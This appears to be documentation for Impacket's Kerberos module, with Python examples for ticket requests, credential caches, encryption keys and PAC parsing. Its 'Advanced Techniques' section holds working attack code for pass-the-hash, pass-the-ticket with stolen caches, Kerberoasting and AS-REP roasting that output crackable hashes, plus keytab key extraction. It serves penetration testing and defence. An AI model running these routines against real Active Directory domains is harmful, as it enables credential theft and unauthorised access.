Kerberos Protocol
Impacket provides comprehensive Kerberos 5 support for authentication against Windows Active Directory environments, including ticket management, encryption, and advanced features like S4U2Self/S4U2Proxy.Overview
The Kerberos implementation is located inimpacket/krb5/ and includes:
- Ticket operations - TGT/TGS request and parsing
- Credential cache - CCache file format support
- Encryption - RC4-HMAC, AES128/256-CTS-HMAC-SHA1
- PAC parsing - Privilege Attribute Certificate
- GSSAPI - Generic Security Services API
Kerberos Flow
Kerberos uses tickets for authentication: clients request a TGT (Ticket Granting Ticket) from the KDC, then use it to request service tickets (TGS) for specific services.
Basic Authentication
Request TGT
Fromkerberosv5.py:97-330, requesting a TGT:
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants
# Username as Principal
username = Principal('jdoe', type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# Request TGT with password
tgt, cipher, old_session_key, session_key = getKerberosTGT(
clientName=username,
password='P@ssw0rd',
domain='CORP.LOCAL',
lmhash='',
nthash='',
kdcHost='dc01.corp.local'
)
print(f"TGT obtained with cipher: {cipher.enctype}")
Request Service Ticket (TGS)
from impacket.krb5.kerberosv5 import getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants
# Service principal
server_name = Principal(
'cifs/dc01.corp.local',
type=constants.PrincipalNameType.NT_SRV_INST.value
)
# Request TGS using TGT
tgs, cipher, old_session_key, session_key = getKerberosTGS(
serverName=server_name,
domain='CORP.LOCAL',
kdcHost='dc01.corp.local',
tgt=tgt,
cipher=cipher,
sessionKey=session_key
)
print(f"TGS obtained for {server_name}")
Credential Cache (CCache)
Impacket supports reading and writing Kerberos credential caches.Load from CCache
from impacket.krb5.ccache import CCache
# Load existing ccache
ccache = CCache.loadFile('/tmp/krb5cc_1000')
# Get default principal
principal = ccache.principal.prettyPrint()
print(f"Principal: {principal}")
# Get credentials
for cred in ccache.credentials:
server = cred['server'].prettyPrint()
print(f"Ticket for: {server}")
print(f" Valid: {cred['time']['starttime']} - {cred['time']['endtime']}")
Extract TGT/TGS from CCache
from impacket.krb5.ccache import CCache
# Parse CCache for specific service
domain, username, TGT, TGS = CCache.parseFile(
domain='',
username='jdoe',
service='cifs/dc01.corp.local'
)
print(f"Found credentials for {username}@{domain}")
if TGT:
print("TGT available")
if TGS:
print(f"TGS available for service")
Save to CCache
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
import datetime
# Create new ccache
ccache = CCache()
# Set principal
ccache.principal = Principal('[email protected]')
# Add credential (simplified)
ccache.credentials.append({
'client': Principal('[email protected]'),
'server': Principal('krbtgt/[email protected]'),
'key': session_key,
'time': {
'starttime': datetime.datetime.now(),
'endtime': datetime.datetime.now() + datetime.timedelta(hours=10)
},
'ticket': ticket_data
})
# Save to file
ccache.saveFile('/tmp/krb5cc_new')
Encryption Types
Kerberos supports multiple encryption types.Supported Ciphers
from impacket.krb5 import constants
from impacket.krb5.crypto import Key, _enctype_table
# Encryption types from constants.py
encryption_types = {
constants.EncryptionTypes.rc4_hmac.value: 'RC4-HMAC',
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: 'AES128-CTS-HMAC-SHA1-96',
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: 'AES256-CTS-HMAC-SHA1-96',
}
# Create key from password
from impacket.krb5.crypto import _enctype_table
cipher = _enctype_table[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value]
salt = b'CORP.LOCALjdoe'
password = 'P@ssw0rd'
key = cipher.string_to_key(password, salt, None)
print(f"AES256 Key: {key.contents.hex()}")
Using AES Keys
from binascii import unhexlify
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants
# AES256 key (64 hex chars)
aes_key = unhexlify('e5c4d39c8f3f8b9a7e2d1c6f5a4b3e2d1c6f5a4b3e2d1c6f5a4b3e2d1c6f5a4b')
username = Principal('jdoe', type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# Request TGT with AES key
tgt, cipher, old_session_key, session_key = getKerberosTGT(
clientName=username,
password='', # Not used
domain='CORP.LOCAL',
lmhash='',
nthash='',
aesKey=aes_key,
kdcHost='dc01.corp.local'
)
print("TGT obtained using AES key")
Pass-the-Hash (RC4)
from binascii import unhexlify
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants
# NT hash for RC4-HMAC
nthash = unhexlify('31d6cfe0d16ae931b73c59d7e0c089c0')
username = Principal('jdoe', type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# Request TGT with hash
tgt, cipher, old_session_key, session_key = getKerberosTGT(
clientName=username,
password='',
domain='CORP.LOCAL',
lmhash='',
nthash=nthash,
kdcHost='dc01.corp.local'
)
print(f"TGT obtained with RC4-HMAC (cipher: {cipher.enctype})")
GSSAPI Integration
Impacket uses GSSAPI for Kerberos authentication in protocols.SMB with Kerberos
from impacket.smbconnection import SMBConnection
conn = SMBConnection('dc01.corp.local', '192.168.1.10')
# Kerberos login
conn.kerberosLogin(
user='jdoe',
password='P@ssw0rd',
domain='CORP.LOCAL',
kdcHost='dc01.corp.local'
)
print(f"Authenticated via Kerberos to {conn.getServerName()}")
LDAP with Kerberos
from impacket.ldap import ldap
ldap_conn = ldap.LDAPConnection('ldap://dc01.corp.local')
ldap_conn.kerberosLogin(
user='jdoe',
password='P@ssw0rd',
domain='CORP.LOCAL',
kdcHost='dc01.corp.local'
)
print("LDAP authenticated with Kerberos")
RPC with Kerberos
from impacket.dcerpc.v5 import transport, scmr
string_binding = r'ncacn_np:dc01.corp.local[\\pipe\\svcctl]'
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_credentials('jdoe', 'P@ssw0rd', 'CORP.LOCAL')
rpc_transport.set_kerberos(True, kdcHost='dc01.corp.local')
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
print("RPC connection established with Kerberos")
PAC (Privilege Attribute Certificate)
The PAC contains authorization data in Kerberos tickets.Parse PAC
from impacket.krb5.pac import PACTYPE
from pyasn1.codec.der import decoder
from impacket.krb5.asn1 import TGS_REP, EncTicketPart
# Decode TGS response
tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# Decrypt ticket
ticket_data = tgs_rep['ticket']
enc_ticket = EncTicketPart()
# ... decrypt with session key ...
# Extract PAC from authorization data
for ad in enc_ticket['authorization-data']:
if ad['ad-type'] == 1: # AD-IF-RELEVANT
# Parse PAC
pac_data = PACTYPE(ad['ad-data'])
# Get SIDs from PAC
for pac_info in pac_data['Buffers']:
if pac_info['ulType'] == 1: # LOGON_INFO
logon_info = pac_info['Data']
user_sid = logon_info['LogonDomainId']
print(f"User SID: {user_sid}")
Advanced Techniques
Pass-the-Ticket
from impacket.krb5.ccache import CCache
from impacket.smbconnection import SMBConnection
# Load ticket from ccache
ccache = CCache.loadFile('/tmp/krb5cc_stolen')
domain, username, TGT, TGS = CCache.parseFile(
domain='',
username='',
service='cifs/dc01.corp.local'
)
# Use ticket for authentication
conn = SMBConnection('dc01.corp.local', '192.168.1.10')
conn.kerberosLogin(
user=username,
password='',
domain=domain,
TGT=TGT,
TGS=TGS,
useCache=False
)
print(f"Authenticated using stolen ticket")
Kerberoasting
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from pyasn1.codec.der import decoder
from impacket.krb5.asn1 import TGS_REP
def kerberoast(domain, username, password, spn, kdcHost):
"""
Request service ticket for cracking (Kerberoasting)
"""
# Get TGT
user_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, old_key, session_key = getKerberosTGT(
clientName=user_principal,
password=password,
domain=domain,
lmhash='',
nthash='',
kdcHost=kdcHost
)
# Request TGS for target SPN
server_principal = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, old_key, session_key = getKerberosTGS(
serverName=server_principal,
domain=domain,
kdcHost=kdcHost,
tgt=tgt,
cipher=cipher,
sessionKey=session_key
)
# Parse TGS to get encrypted ticket
tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = tgs_rep['ticket']
# Extract hash for cracking (John/Hashcat format)
enc_part = ticket['enc-part']
etype = enc_part['etype']
cipher_text = enc_part['cipher'].asOctets()
# Format for hashcat
hashcat_format = f"$krb5tgs${etype}$*{username}${domain}${spn}*${cipher_text.hex()}"
print(hashcat_format)
return hashcat_format
# Usage
kerberoast(
domain='CORP.LOCAL',
username='jdoe',
password='P@ssw0rd',
spn='MSSQLSvc/sql01.corp.local:1433',
kdcHost='dc01.corp.local'
)
AS-REP Roasting
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.asn1 import AS_REQ, AS_REP, KRB_ERROR
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
def asrep_roast(domain, username, kdcHost):
"""
Request AS-REP for users without pre-auth (AS-REP Roasting)
"""
user_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# Build AS-REQ without pre-authentication
as_req = AS_REQ()
as_req['pvno'] = 5
as_req['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
req_body = as_req['req-body']
req_body['cname'] = user_principal.components_to_asn1
req_body['realm'] = domain
# No padata (no pre-auth)
as_req['padata'] = noValue
# Send request
message = encoder.encode(as_req)
response = sendReceive(message, domain, kdcHost)
# Parse response
try:
as_rep = decoder.decode(response, asn1Spec=AS_REP())[0]
# Extract encrypted part
enc_part = as_rep['enc-part']
etype = enc_part['etype']
cipher_text = enc_part['cipher'].asOctets()
# Format for cracking
hashcat_format = f"$krb5asrep${etype}${username}@{domain}:{cipher_text.hex()}"
print(hashcat_format)
return hashcat_format
except Exception as e:
print(f"Pre-authentication required or error: {e}")
return None
# Usage
asrep_roast(
domain='CORP.LOCAL',
username='vulnerable_user',
kdcHost='dc01.corp.local'
)
Error Handling
Kerberos errors are returned as KRB-ERROR messages. Common errors include clock skew, pre-auth required, and invalid credentials.
from impacket.krb5.kerberosv5 import KerberosError
from impacket.krb5 import constants
try:
tgt, cipher, old_key, session_key = getKerberosTGT(
clientName=username,
password=password,
domain=domain,
lmhash='',
nthash='',
kdcHost=kdcHost
)
except KerberosError as e:
error_code = e.getErrorCode()
if error_code == constants.ErrorCodes.KDC_ERR_PREAUTH_FAILED.value:
print("Invalid credentials")
elif error_code == constants.ErrorCodes.KDC_ERR_C_PRINCIPAL_UNKNOWN.value:
print("User not found")
elif error_code == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
print("Encryption type not supported")
elif error_code == constants.ErrorCodes.KRB_AP_ERR_SKEW.value:
print("Clock skew too great")
else:
print(f"Kerberos error: {e}")
Complete Example: Ticket Dumper
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
import sys
def dump_tickets(domain, username, password, kdcHost, services):
"""
Request TGT and multiple service tickets, save to ccache
"""
print(f"[*] Requesting TGT for {username}@{domain}")
# Get TGT
user_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, old_key, session_key = getKerberosTGT(
clientName=user_principal,
password=password,
domain=domain,
lmhash='',
nthash='',
kdcHost=kdcHost
)
print(f"[+] TGT obtained (cipher: {cipher.enctype})")
# Create ccache
ccache = CCache()
ccache.principal = Principal(f"{username}@{domain}")
# Add TGT to ccache
ccache.credentials.append({
'client': user_principal,
'server': Principal(f"krbtgt/{domain}@{domain}"),
'key': session_key,
'ticket': tgt
})
# Request service tickets
for service in services:
print(f"[*] Requesting ticket for {service}")
try:
server_principal = Principal(
service,
type=constants.PrincipalNameType.NT_SRV_INST.value
)
tgs, cipher, old_key, session_key = getKerberosTGS(
serverName=server_principal,
domain=domain,
kdcHost=kdcHost,
tgt=tgt,
cipher=cipher,
sessionKey=session_key
)
# Add to ccache
ccache.credentials.append({
'client': user_principal,
'server': server_principal,
'key': session_key,
'ticket': tgs
})
print(f"[+] Ticket obtained for {service}")
except Exception as e:
print(f"[-] Failed to get ticket for {service}: {e}")
# Save ccache
output_file = f'/tmp/krb5cc_{username}'
ccache.saveFile(output_file)
print(f"\n[+] Tickets saved to {output_file}")
print(f"[*] Use with: export KRB5CCNAME={output_file}")
if __name__ == '__main__':
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <domain> <username> <password> [kdcHost]")
sys.exit(1)
domain = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
kdcHost = sys.argv[4] if len(sys.argv) > 4 else domain
# Services to request tickets for
services = [
f'cifs/{domain}',
f'ldap/{domain}',
f'host/{domain}',
]
dump_tickets(domain, username, password, kdcHost, services)
Keytab Files
from impacket.krb5.keytab import Keytab
from impacket.krb5.types import Principal
from impacket.krb5 import constants
# Load keytab
keytab = Keytab.loadFile('/etc/krb5.keytab')
# List entries
for entry in keytab.entries:
principal = entry['principal'].prettyPrint()
enctype = entry['keytype']
print(f"{principal} - Encryption: {enctype}")
# Get key for principal
key = keytab.getKey(
Principal('HTTP/[email protected]'),
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
)
print(f"Key: {key.contents.hex()}")
Related Topics
- SMB Protocol - SMB with Kerberos auth
- LDAP Protocol - LDAP with Kerberos auth
- MS-RPC Protocol - RPC with Kerberos
References
- Source:
impacket/krb5/ - RFC 4120: Kerberos V5 Protocol
- [MS-KILE]: Kerberos Protocol Extensions
- [MS-PAC]: Privilege Attribute Certificate